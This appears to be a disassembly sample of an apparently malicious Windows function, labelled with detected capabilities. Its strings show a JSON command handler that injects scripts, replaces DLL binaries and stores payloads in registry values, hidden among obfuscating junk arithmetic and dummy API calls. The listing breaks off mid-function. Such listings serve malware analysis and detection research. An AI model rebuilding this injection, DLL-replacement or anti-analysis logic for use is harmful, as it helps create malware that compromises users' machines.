Function at 0x140065820
Capabilities:
Check for time delay via gettickcount
Check http status code
Create http request
Delete registry key
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0xa300
call fcn.1400d6730
sub rsp, rax
mov qword [rsp + 0xdd8], 0xfffffffffffffffe
movaps xmmword [rsp + 0xa2f0], xmm6
mov rax, qword [0x1401c3e90]
xor rax, rsp
mov qword [rsp + 0xa2e0], rax
mov r12, r8
mov rsi, rdx
mov qword [rsp + 0x40], rdx
mov r14, rcx
mov qword [rsp + 0x430], rcx
mov qword [rsp + 0x3a0], rcx
mov qword [rsp + 0x1a0], rdx
mov qword [rsp + 0x3d0], r8
xor bl, bl
mov byte [rsp + 0x7c], bl
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.14003afe0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140036260
nop
mov rdx, qword [rsi]
mov qword [rsp + 0xed0], rdx
lea rcx, [rsp + 0x70]
call fcn.14001c4d0
nop
mov rdx, qword [rsp + 0x70]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xee0], rax
cmp dword [rax + 0x10], 1
jle 0x1400658ed
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14001d320
mov rdx, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x15a0], rdi
mov qword [rsp + 0x15a8], rdi
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], dil
or r15, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x140065929
mov r8d, edi
jmp 0x140065939
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x140065930
lea rcx, [rsp + 0x1590]
call fcn.1400013f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x1590]
lea rcx, [rsp + 0x16c0]
call fcn.140036310
test al, al
jne 0x140065a4e
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x2d0]
call fcn.140003170
nop
lea rdx, [rsp + 0x2d0]
mov rcx, qword [r14 + 0x40]
call fcn.140060350
nop
mov rcx, qword [rsp + 0x2d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400659c2
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x1400659da
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x718], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065a25
mov rdx, qword [rsp + 0x718]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
cmp byte [rsp + 0x60], 0
jne 0x140065b3e
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x420]
call fcn.140003170
nop
lea rdx, [rsp + 0x420]
mov rcx, qword [r14 + 0x40]
call fcn.140060350
nop
mov rcx, qword [rsp + 0x420]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065ab2
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x140065aca
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065b15
mov rdx, qword [rsp + 0x7f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.14003bf90
mov qword [rsp + 0xef0], rax
lea rsi, [0x1401cce40]
cmp rax, rsi
je 0x14006b0a9
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xf00], rax
cmp byte [rax + 8], 4
jne 0x14006b0a9
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bf90
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xf10], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf20], rdx
lea rcx, [rsp + 0x48]
call fcn.140003170
nop
mov rax, qword [rsp + 0x48]
lea r8, str.injectScript
mov rdx, r15
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x140065c08
add rdx, 2
cmp rdx, 0xd
je 0x140065c04
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x140065c08
jmp 0x140065be0
mov ecx, edi
jmp 0x140065c0d
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x7e8], ecx
test ecx, ecx
jne 0x140066982
mov r8d, dword [0x1401cbd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xb
jne 0x140065c50
dec r8d
mov dword [0x1401cbd80], r8d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x8d8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xef8], rax
cmp byte [rax + 8], 4
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x8e8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xcf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8f8], rdx
lea rcx, [rsp + 0xa0]
call fcn.140003170
nop
mov eax, dword [0x1401cbd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
mov r13d, 1
cmp ecx, 0xb
jne 0x140065d5d
mov r8d, r13d
mov dword [rsp + 0x208], r13d
mov ecx, r13d
mov dword [rsp + 0x278], ecx
mov edx, 0xa5
mov dword [rsp + 0x218], edx
mov dword [0x1401cbd80], edi
lea eax, [rdx - 2]
test eax, eax
js 0x140065d57
lea eax, [rcx + r8]
mov dword [rsp + 0x538], eax
mov r8d, ecx
mov dword [rsp + 0x208], ecx
mov ecx, eax
mov dword [rsp + 0x278], eax
dec edx
mov dword [rsp + 0x218], edx
jmp 0x140065d27
mov dword [0x1401cbd80], ecx
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x708], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d21b4
mov qword [rsp + 0x1e8], rax
test rax, rax
je 0x140066886
mov r8, rax
lea rdx, [rsp + 0xa0]
call fcn.14006b200
test al, al
je 0x140066886
call fcn.1400654d0
test al, al
jne 0x140065dc8
mov ecx, 4
call fcn.1400d1e38
mov qword [rsp + 0x1010], rax
mov ecx, dword [0x1401cbd80]
mov dword [rax], ecx
mov esi, dword [0x1401cbd80]
lea ecx, [rsi + 2]
lea eax, [rsi + 1]
imul ecx, eax
imul ecx, esi
and ecx, 0x8000000f
jge 0x140065de9
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 9
jne 0x140065ea0
mov r14d, edi
mov dword [rsp + 0x2c0], edi
nop dword [rax]
cmp r14d, 0x10
jge 0x140065e98
mov r11d, edi
mov dword [rsp + 0x2a4], edi
cmp r11d, 0xe
jge 0x140065e88
mov r10d, edi
mov dword [rsp + 0x298], edi
cmp r10d, 0xf
jge 0x140065e7b
lea ebx, [r10 + 1]
lea ecx, [r11 + 1]
mov eax, esi
cdq
idiv ecx
mov r9d, edx
mov eax, esi
cdq
idiv ebx
imul r9d, eax
mov eax, esi
sub eax, r14d
imul r9d, eax
movsxd r8, r14d
imul r8, r8, 0xe
movsxd rax, r11d
add r8, rax
imul r8, r8, 0xf
movsxd rax, r10d
lea rcx, [rsp + 0x2540]
add rcx, rax
mov byte [rcx + r8], r9b
mov r10d, ebx
mov dword [rsp + 0x298], ebx
jmp 0x140065e24
inc r11d
mov dword [rsp + 0x2a4], r11d
jmp 0x140065e14
inc r14d
mov dword [rsp + 0x2c0], r14d
jmp 0x140065e00
mov r14, qword [rsp + 0x430]
mov rbx, qword [r14 + 0x40]
add rbx, 0x1b8
mov qword [rsp + 0x908], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xd08], rcx
mov edx, 0x5c
call fcn.1400d3ff4
mov rcx, rax
mov qword [rsp + 0x918], rax
test rax, rax
jne 0x140065edd
mov ecx, r15d
jmp 0x140065eee
mov rax, qword [rbx]
mov qword [rsp + 0xf08], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r14 + 0x40]
add rcx, 0x1b8
lea rdx, [rsp + 0xe0]
call fcn.14002a950
nop
mov rax, qword [r14 + 0x40]
add rax, 0x1b8
mov qword [rsp + 0x928], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xd18], rcx
call fcn.140002410
mov qword [rsp + 0x938], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x758], rbx
mov r10d, dword [0x1401cbd80]
lea ecx, [r10 + 2]
lea eax, [r10 + 1]
imul ecx, eax
imul ecx, r10d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x17
jne 0x140065fae
mov r8d, edi
mov dword [rsp + 0x1f4], edi
movsxd r9, r8d
cmp r9, 0x4f
jae 0x140065fae
mov eax, r10d
sub eax, r8d
lea ecx, [r8 + r10]
cdq
idiv ecx
mov dword [rsp + r9*4 + 0x1bb0], edx
inc r8d
mov dword [rsp + 0x1f4], r8d
jmp 0x140065f83
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [r14 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x1f0], eax
test eax, eax
je 0x14006617a
mov ecx, dword [0x1401cbd80]
lea edx, [rcx + 2]
lea eax, [rcx + 1]
imul edx, eax
imul edx, ecx
and edx, 0x8000000f
jge 0x140066001
dec edx
or edx, 0xfffffff0
inc edx
cmp edx, 9
jne 0x140066020
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test r12, r12
je 0x140066035
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006605f
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xe0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x728], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066091
mov rdx, qword [rsp + 0x728]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400660c3
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x868], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400660f2
mov rdx, qword [rsp + 0x868]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x14006610a
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066155
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
xor bl, bl
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1a8
mov r14, qword [r14 + 0x40]
add r14, 0x2d0
mov qword [rsp + 0x1d8], r14
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1020], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0x948], rax
lea rcx, [0x1401cce40]
cmp rax, rcx
je 0x14006655f
lea rcx, [0x1401c39a8]
mov rax, qword [0x1401c39a8]
call qword [rax + 0x18]
mov qword [rsp + 0xd28], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x120], rbx
mov eax, edi
mov dword [rsp + 0xd8], eax
mov esi, edi
mov dword [rsp + 0x80], edi
test eax, eax
jne 0x140066527
mov dword [rsp + 0x290], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0x958], rax
mov ecx, r13d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x548], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x898], eax
or eax, ecx
jge 0x14006625d
mov edx, 0x7ffe
lea rcx, [rsp + 0x120]
call fcn.1400023b0
mov rbx, qword [rsp + 0x120]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x140066270
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x290]
mov r8, rbx
mov edx, esi
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xd8], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x810], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400d226c
mov dword [rsp + 0x890], eax
test eax, eax
js 0x14006651d
cmp eax, dword [rbx - 0xc]
jg 0x14006651d
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov dword [r14], edi
lea r8, str._data
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x738]
call fcn.14001c930
mov qword [rsp + 0xf18], rax
mov rdx, qword [rax]
mov qword [rsp + 0x968], rdx
test rdx, rdx
jne 0x140066327
mov eax, r15d
jmp 0x14006635a
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x89c], eax
test eax, eax
jns 0x14006633a
mov eax, r15d
jmp 0x14006635a
mov rcx, rbx
call fcn.1400d243c
mov qword [rsp + 0xd38], rax
test rax, rax
jne 0x140066354
mov eax, r15d
jmp 0x14006635a
sub rax, rbx
sar rax, 1
mov dword [rsp + 0xb0], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x79]
mov rcx, qword [rsp + 0x738]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006639a
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x79], 0
je 0x1400664f1
mov ecx, dword [0x1401cbd80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0x12
jne 0x1400663f6
mov ecx, 4
call fcn.1400d1e38
mov rbx, rax
mov qword [rsp + 0x978], rax
call fcn.1400d2038
mov dword [rbx], eax
mov dword [0x1401cbd80], eax
mov rcx, rbx
call fcn.1400d1660
mov esi, edi
mov dword [rsp + 0x80], edi
mov rbx, qword [rsp + 0x120]
mov rdx, rbx
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x1f0], eax
test eax, eax
je 0x140066509
mov r10d, dword [0x1401cbd80]
mov ecx, r10d
imul ecx, r10d
imul ecx, r10d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 4
jne 0x1400664da
mov r8d, 0x31
mov dword [rsp + 0x270], r8d
mov r11d, edi
mov dword [rsp + 0x228], edi
cmp r11d, r8d
jge 0x1400664da
mov r9d, edi
mov dword [rsp + 0x2c4], edi
mov eax, r10d
cdq
sub eax, edx
sar eax, 1
cmp r9d, eax
jge 0x1400664cd
mov ecx, edi
mov dword [rsp + 0x1f8], ecx
mov eax, r10d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
jge 0x1400664c0
mov eax, r9d
imul eax, r11d
sub eax, ecx
add r8d, eax
mov dword [rsp + 0x270], r8d
inc ecx
jmp 0x140066491
inc r9d
mov dword [rsp + 0x2c4], r9d
jmp 0x140066482
inc r11d
mov dword [rsp + 0x228], r11d
jmp 0x140066473
test r12, r12
je 0x140066527
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
jmp 0x14006652c
mov esi, dword [rsp + 0x80]
inc esi
mov dword [rsp + 0x80], esi
mov rbx, qword [rsp + 0x120]
mov r14, qword [rsp + 0x1d8]
mov eax, dword [rsp + 0xd8]
jmp 0x140066204
mov ecx, 0x80070057
call fcn.140001920
mov esi, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x808], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140066555
mov rdx, qword [rsp + 0x808]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r14, qword [rsp + 0x1d8]
jmp 0x140066564
mov esi, 0xb
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x8a8], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rcx, qword [rsp + 0x1e8]
mov rdx, rcx
call fcn.140065770
mov edx, dword [r14]
lea eax, [rdx + 1]
mov dword [r14], eax
lea rcx, [rsp + 0x1680]
call fcn.140065100
mov qword [rsp + 0x1030], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400665b6
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5c8]
call fcn.140003170
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x5b8]
call fcn.14001c930
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x428]
call fcn.140010500
nop
mov rcx, qword [rsp + 0x5b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x748], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006662c
mov rdx, qword [rsp + 0x748]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006665e
mov rdx, qword [rsp + 0x8b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1698], 0x10
jb 0x140066676
mov rcx, qword [rsp + 0x1680]
call fcn.1400d1660
mov qword [rsp + 0x1698], 0xf
mov qword [rsp + 0x1690], rdi
mov byte [rsp + 0x1680], 0
mov rbx, qword [rsp + 0x1e8]
xor al, al
jne 0x1400666dd
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x8b8], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x428]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0xe0]
mov rdi, qword [rsp + 0x430]
mov rcx, rdi
call fcn.14006b3a0
mov rcx, rbx
call fcn.1400d2130
mov ecx, dword [0x1401cbd80]
lea r8d, [rcx + 1]
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 0x12
jne 0x14006673c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x14006675a
mov word [r12], si
mov word [r12 + 8], r15w
mov rax, qword [rdi + 0x40]
cmp dword [rax + 0x2d8], 3
jne 0x140066771
mov dword [rax + 0x2d8], 4
mov ecx, dword [0x1401cbd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub r8d, eax
cmp r8d, 2
jne 0x1400667bf
lea ecx, [r8 + 2]
call fcn.1400d1e38
mov qword [rsp + 0x988], rax
mov ecx, dword [0x1401cbd80]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x428]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400667f1
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x758]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066823
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xe0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x818], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066855
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b060
mov rdx, qword [rsp + 0x5f8]
jmp 0x14006b057
test r12, r12
je 0x14006689b
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x768], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400668cd
mov rdx, qword [rsp + 0x768]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400668fc
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x140066914
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x878], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006695f
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1a8
lea r8, str.setDLLBinaryReplacment
mov rdx, r15
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x1400669b8
add rdx, 2
cmp rdx, 0x17
je 0x1400669b4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x1400669b8
jmp 0x140066990
mov eax, edi
jmp 0x1400669bd
sbb eax, eax
or eax, 1
mov dword [rsp + 0x8c0], eax
test eax, eax
jne 0x140067a6d
mov ecx, dword [0x1401cbd80]
imul ecx, ecx
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xe
jne 0x140066a05
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xd48], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x998], rax
cmp byte [rax + 8], 4
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xf28], rax
lea rdx, [0x14015a020]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x9a8], rax
cmp byte [rax + 8], 4
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xd58], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x9b8], rax
cmp byte [rax + 8], 1
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1040], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x9c8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd68], rdx
lea rcx, [rsp + 0x88]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x9d8], rax
lea rdx, [0x14015a020]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xf48], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9e8], rdx
lea rcx, [rsp + 0xa8]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xd78], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x9f8], rax
mov rcx, rax
call fcn.14003b5c0
mov dword [rsp + 0x1ac], eax
mov edx, dword [0x1401cbd80]
lea ecx, [rdx + 2]
lea eax, [rdx + 1]
imul ecx, eax
imul ecx, edx
and ecx, 0x8000000f
jge 0x140066ba5
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 9
jne 0x140066c28
movsd xmm3, qword [0x14015adc8]
movsd qword [rsp + 0x618], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x388], xmm2
movd xmm4, edx
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x14015adf0]
movsd xmm6, qword [0x14015adc0]
nop
addsd xmm2, xmm3
movsd qword [rsp + 0x388], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
